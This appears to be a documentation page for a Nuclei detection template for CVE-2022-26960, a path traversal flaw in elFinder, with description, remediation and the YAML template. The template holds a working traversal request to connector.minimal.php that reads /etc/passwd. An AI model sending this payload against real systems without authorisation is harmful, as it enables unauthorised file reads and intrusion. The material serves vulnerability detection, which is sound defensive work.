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elFinder <=2.1.60 - Local File Inclusion

ID: CVE-2022-26960

Severity: critical

Author: pikpikcu

Tags: cve2022,cve,lfi,elfinder,std42

Description

Section titled “Description”

elFinder through 2.1.60 is affected by local file inclusion via connector.minimal.php. This allows unauthenticated remote attackers to read, write, and browse files outside the configured document root. This is due to improper handling of absolute file paths.

YAML Source

Section titled “YAML Source”
id: CVE-2022-26960


info:
  name: elFinder <=2.1.60 - Local File Inclusion
  author: pikpikcu
  severity: critical
  description: |
    elFinder through 2.1.60 is affected by local file inclusion via connector.minimal.php. This allows unauthenticated remote attackers to read, write, and browse files outside the configured document root. This is due to improper handling of absolute file paths.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire system.
  remediation: |
    Upgrade elFinder to version 2.1.61 or later to mitigate this vulnerability.
  reference:
    - https://www.synacktiv.com/publications/elfinder-the-story-of-a-repwning.html
    - https://github.com/Studio-42/elFinder/commit/3b758495538a448ac8830ee3559e7fb2c260c6db
    - https://www.synacktiv.com/publications.html
    - https://nvd.nist.gov/vuln/detail/CVE-2022-26960
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2022-26960
    cwe-id: CWE-22
    epss-score: 0.84507
    epss-percentile: 0.98501
    cpe: cpe:2.3:a:std42:elfinder:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: std42
    product: elfinder
  tags: cve2022,cve,lfi,elfinder,std42


http:
  - raw:
      - |
        GET /elfinder/php/connector.minimal.php?cmd=file&target=l1_<@base64>/var/www/html/elfinder/files//..//..//..//..//..//../etc/passwd<@/base64>&download=1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"


      - type: status
        status:
          - 200
# digest: 490a0046304402205d92487e445c0d3570b9a8fbc3210a3223955ab5fb584c80861817a2ec1c811602203412e6b232fbfd95c5dce83a8bfb3f009889b2f0c86033d5357a5644cf740a8e:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-26960.yaml"

View on Github